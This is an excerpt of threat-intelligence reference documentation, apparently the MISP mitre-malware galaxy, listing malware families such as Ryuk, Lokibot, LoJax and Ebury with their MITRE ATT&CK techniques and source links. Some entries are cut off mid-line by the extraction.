• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"


• uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Taint Shared Content - T1080" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Component Object Model - T1559.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1091" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Browser Session Hijacking - T1185" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data Encoding - T1132" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command Obfuscation - T1027.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Thread Local Storage - T1055.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credential API Hooking - T1056.004" with estimative-language:likelihood-probability="almost-certain"

Table 7100. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0386">https://attack.mitre.org/software/S0386</a></td>
</tr>
</tbody>
</table>
EvilBunny - S0396

[EvilBunny](https://attack.mitre.org/software/S0396) is a C++ malware sample observed since 2011 that was designed to be an execution platform for Lua scripts.(Citation: Cyphort EvilBunny Dec 2014)

The tag is: `misp-galaxy:mitre-malware="EvilBunny - S0396"`

EvilBunny - S0396 is also known as:

- EvilBunny

View relationships graph

EvilBunny - S0396 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Checks - T1497.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Time Based Evasion - T1497.003"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004"` with estimative-
CoinTicker - S0369

[CoinTicker](https://attack.mitre.org/software/S0369) is a malicious application that poses as a cryptocurrency price ticker and installs components of the open source backdoors EvilOSX and EggShell. (Citation: CoinTicker 2019)

The tag is: `misp-galaxy:mitre-malware="CoinTicker - S0369"`

CoinTicker - S0369 is also known as:

- CoinTicker

View relationships graph

CoinTicker - S0369 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Gatekeeper Bypass - T1553.001"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Unix Shell - T1059.004"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Launch Agent - T1543.001"` with estimative-language:likelihood-probability="almost-certain"
CaddyWiper - S0693

[CaddyWiper](https://attack.mitre.org/software/S0693) is a destructive data wiper that has been used in attacks against organizations in Ukraine since at least March 2022. (Citation: ESET CaddyWiper March 2022) (Citation: Cisco CaddyWiper March 2022)

The tag is: `misg-galaxy:mitre-malware="CaddyWiper - S0693"

CaddyWiper - S0693 is also known as:

- CaddyWiper

View relationships graph

CaddyWiper - S0693 has relationships with:

- uses: `misg-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misg-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misg-galaxy:mitre-attack-pattern="Data Destruction - T1485"` with estimative-language:likelihood-probability="almost-certain"
Ebury - S0377

[Ebury](https://attack.mitre.org/software/S0377) is an SSH backdoor targeting Linux operating systems. Attackers require root-level access, which allows them to replace SSH binaries (ssh, sshd, ssh-add, etc) or modify a shared library used by OpenSSH (libkeyutils).(Citation: ESET Ebury Feb 2014)(Citation: BleepingComputer Ebury March 2017)(Citation: ESET Ebury Oct 2017)

The tag is: `misp-galaxy:mitre-malware="Ebury - S0377"`

Ebury - S0377 is also known as:

- Ebury

View relationships graph

Ebury - S0377 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Rootkit - T1014"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="DNS - T1071.004"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004"` with `estimative-language:likelihood-probability="almost-certain"`
• uses: misp-galaxy:mitre-attack-pattern="Automated Exfiltration - T1020" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Compromise Client Software Binary - T1554" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Fallback Channels - T1008" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Modify Authentication Process - T1556" with estimative-language:likelihood-probability="almost-certain"

Table 7104. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0377">https://attack.mitre.org/software/S0377</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/">https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/</a></td>
</tr>
<tr>
<td><a href="https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/">https://www.welivesecurity.com/2017/10/30/windigo-ebury-update-2/</a></td>
</tr>
</tbody>
</table>

**KeyBoy - S0387**

[KeyBoy](https://attack.mitre.org/software/S0387) is malware that has been used in targeted campaigns against members of the Tibetan Parliament in 2016. (Citation: CitizenLab KeyBoy Nov 2016) (Citation: PWC KeyBoys Feb 2017)

The tag is: *misp-galaxy:mitre-malware="KeyBoy - S0387"*

KeyBoy - S0387 is also known as:

• KeyBoy

View relationships graph

KeyBoy - S0387 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 7105. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0387">https://attack.mitre.org/software/S0387</a></td>
</tr>
<tr>
<td><a href="https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/">https://blog.rapid7.com/2013/06/07/keyboy-targeted-attacks-against-vietnam-and-india/</a></td>
</tr>
</tbody>
</table>
LoJax - S0397

LoJax - S0397 is a UEFI rootkit used by [APT28](https://attack.mitre.org/groups/G0007) to persist remote access software on targeted systems.(Citation: ESET LoJax Sept 2018)

The tag is: `misp-galaxy:mitre-malware="LoJax - S0397"`

LoJax - S0397 is also known as:

- LoJax

View relationships graph

LoJax - S0397 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Rootkit - T1014"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Modify Registry - T1112"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001"` with `estimative-language:likelihood-probability="almost-certain"`
- uses: `misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004"` with `estimative-language:likelihood-probability="almost-certain"

Table 7106. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0397">https://attack.mitre.org/software/S0397</a></td>
</tr>
</tbody>
</table>

YAHOYAH - S0388

YAHOYAH - S0388 is a Trojan used by [Tropic Trooper](https://attack.mitre.org/groups/G0081) as a second-stage backdoor.(Citation: TrendMicro TropicTrooper 2015)

The tag is: `misp-galaxy:mitre-malware="YAHOYAH - S0388"

YAHOYAH - S0388 is also known as:
HyperBro - S0398

[HyperBro](https://attack.mitre.org/software/S0398) is a custom in-memory backdoor used by [Threat Group-3390](https://attack.mitre.org/groups/G0027). (Citation: Unit42 Emissary Panda May 2019) (Citation: Securelist LuckyMouse June 2018) (Citation: Hacker News LuckyMouse June 2018)

The tag is: `misp-galaxy:mitre-malware="HyperBro - S0398"`

HyperBro - S0398 is also known as:

- HyperBro

View relationships graph

HyperBro - S0398 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Native API - T1106"` with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Software Packing - T1027.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"

Table 7108. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0398">https://attack.mitre.org/software/S0398</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/">https://unit42.paloaltonetworks.com/emissary-panda-attacks-middle-east-government-sharepoint-servers/</a></td>
</tr>
</tbody>
</table>

JCry - S0389

[JCry](https://attack.mitre.org/software/S0389) is ransomware written in Go. It was identified as apart of the #OpJerusalem 2019 campaign.(Citation: Carbon Black JCry May 2019)

The tag is: misp-galaxy:mitre-malware="JCry - S0389"

JCry - S0389 is also known as:

• JCry

View relationships graph

JCry - S0389 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 7109. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0389">https://attack.mitre.org/software/S0389</a></td>
</tr>
</tbody>
</table>

Pallas - S0399

[Pallas](https://attack.mitre.org/software/S0399) is mobile surveillanceware that was custom-developed by [Dark Caracal](https://attack.mitre.org/groups/G0070). *(Citation: Lookout Dark Caracal Jan 2018)*

The tag is: *misp-galaxy:mitre-malware="Pallas - S0399"

Pallas - S0399 is also known as:

• Pallas

View relationships graph

Pallas - S0399 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1418" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Call Log - T1636.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1646" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="GUI Input Capture - T1417.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1429" with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Stored Application Data - T1409" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1630.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1512" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1421" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"

Table 7110. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0399">https://attack.mitre.org/software/S0399</a></td>
</tr>
<tr>
<td><a href="https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf">https://info.lookout.com/rs/051-ESQ-475/images/Lookout_Dark-Caracal_srr_20180118_us_v.1.0.pdf</a></td>
</tr>
</tbody>
</table>

ShimRat - S0444

[ShimRat](https://attack.mitre.org/software/S0444) has been used by the suspected China-based adversary [Mofang](https://attack.mitre.org/groups/G0103) in campaigns targeting multiple countries and sectors including government, military, critical infrastructure, automobile, and weapons development. The name "[ShimRat](https://attack.mitre.org/software/S0444)" comes from the malware's extensive use of Windows Application Shimming to maintain persistence. (Citation: FOX-IT May 2016 Mofang)

The tag is: `misp-galaxy:mitre-malware="ShimRat - S0444"`

ShimRat - S0444 is also known as:

• ShimRat

View relationships graph
ShimRat - S0444 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Scheduled Transfer - T1029" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-
HenBox - S0544

HenBox - S0544 is Android malware that attempts to only execute on Xiaomi devices running the MIUI operating system. HenBox has primarily been used to target Uyghurs, a minority Turkic ethnic group. (Citation: Palo Alto HenBox)

The tag is: misp-galaxy:mitre-malware="HenBox - S0544"

HenBox - S0544 is also known as:

- HenBox

View relationships graph

HenBox - S0544 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1655.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Broadcast Receivers - T1624.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1575" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Unix Shell - T1623.001" with estimative-language:likelihood-probability="almost-certain"
• uses: misp-galaxy:mitre-attack-pattern="System Checks - T1633.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Location Tracking - T1430" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMS Messages - T1636.004" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1406" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Video Capture - T1512" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Contact List - T1636.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1533" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1426" with estimative-language:likelihood-probability="almost-certain"

Table 7112. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0544">https://attack.mitre.org/software/S0544</a></td>
</tr>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit42-henbox-chickens-come-home-roost/">https://unit42.paloaltonetworks.com/unit42-henbox-chickens-come-home-roost/</a></td>
</tr>
</tbody>
</table>

**Cadelspy - S0454**

[Cadelspy](https://attack.mitre.org/software/S0544) is a backdoor that has been used by [APT39](https://attack.mitre.org/groups/G0087). (Citation: Symantec Chafer Dec 2015)

The tag is: *misp-galaxy:mitre-malware="Cadelspy - S0454"*

Cadelspy - S0454 is also known as:

• Cadelspy

View relationships graph

Cadelspy - S0454 has relationships with:

• uses: misp-galaxy:mitre-attack-pattern="Screen Capture - T1113" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Audio Capture - T1123" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Clipboard Data - T1115" with estimative-
Table 7.113. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0454">https://attack.mitre.org/software/S0454</a></td>
</tr>
<tr>
<td><a href="https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets">https://www.symantec.com/connect/blogs/iran-based-attackers-use-back-door-threats-spy-middle-eastern-targets</a></td>
</tr>
</tbody>
</table>

**ObliqueRAT - S0644**

[ObliqueRAT](https://attack.mitre.org/software/S0644) is a remote access trojan, similar to [Crimson](https://attack.mitre.org/software/S0115), that has been in use by [Transparent Tribe](https://attack.mitre.org/groups/G0134) since at least 2020. (Citation: Talos Oblique RAT March 2021) (Citation: Talos Transparent Tribe May 2021)

The tag is: *misp-galaxy:mitre-malware="ObliqueRAT - S0644"*

ObliqueRAT - S0644 is also known as:

- ObliqueRAT

View relationships graph

ObliqueRAT - S0644 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Data Staging - T1074.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Checks - T1497.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-
**Table 7114. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0644">https://attack.mitre.org/software/S0644</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html">https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html</a></td>
</tr>
<tr>
<td><a href="https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html">https://blog.talosintelligence.com/2021/05/transparent-tribe-infra-and-targeting.html</a></td>
</tr>
</tbody>
</table>

**SYSCON - S0464**

[SYSCON](https://attack.mitre.org/software/S0464) is a backdoor that has been in use since at least 2017 and has been associated with campaigns involving North Korean themes. [SYSCON](https://attack.mitre.org/software/S0464) has been delivered by the [CARROTBALL](https://attack.mitre.org/software/S0465) and [CARROTBAT](https://attack.mitre.org/software/S0462) droppers.(Citation: Unit 42 CARROTBAT November 2018)(Citation: Unit 42 CARROTBAT January 2020)

The tag is: *misp-galaxy:mitre-malware="SYSCON - S0464"*

SYSCON - S0464 is also known as:

- SYSCON

View relationships graph

SYSCON - S0464 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002"* with estimative-
**Table 7115. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0464">https://attack.mitre.org/software/S0464</a></td>
</tr>
</tbody>
</table>

**Ryuk - S0446**

[Ryuk](https://attack.mitre.org/software/S0446) is a ransomware designed to target enterprise environments that has been used in attacks since at least 2018. [Ryuk](https://attack.mitre.org/software/S0446) shares code similarities with Hermes ransomware. (Citation: CrowdStrike Ryuk January 2019)(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: FireEye FIN6 Apr 2019)

The tag is: `misp-galaxy:mitre-malware="Ryuk - S0446"`

Ryuk - S0446 is also known as:

- Ryuk

See relationships graph

Ryuk - S0446 has relationships with:

- uses: `misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="Service Stop - T1489"` with estimative-language:likelihood-probability="almost-certain"
- uses: `misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082"` with estimative-
• uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Traffic Signaling - T1205" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Domain Accounts - T1078.002" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Access Token Manipulation - T1134" with estimative-language:likelihood-probability="almost-certain"

• uses: misp-galaxy:mitre-attack-pattern="Inhibit System Recovery - T1490" with estimative-language:likelihood-probability="almost-certain"

Table 7116. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://attack.mitre.org/software/S0446">https://attack.mitre.org/software/S0446</a></td>
</tr>
</tbody>
</table>
Lokibot - S0447

[Lokibot](https://attack.mitre.org/software/S0447) is a widely distributed information stealer that was first reported in 2015. It is designed to steal sensitive information such as usernames, passwords, cryptocurrency wallets, and other credentials. [Lokibot](https://attack.mitre.org/software/S0447) can also create a backdoor into infected systems to allow an attacker to install additional payloads.(Citation: Infoblox Lokibot January 2019)(Citation: Morphisec Lokibot April 2020)(Citation: CISA Lokibot September 2020)

The tag is: *misp-galaxy:mitre-malware="Lokibot - S0447"

Lokibot - S0447 is also known as:

- Lokibot

View relationships graph

Lokibot - S0447 has relationships with:

- uses: *misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: *misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
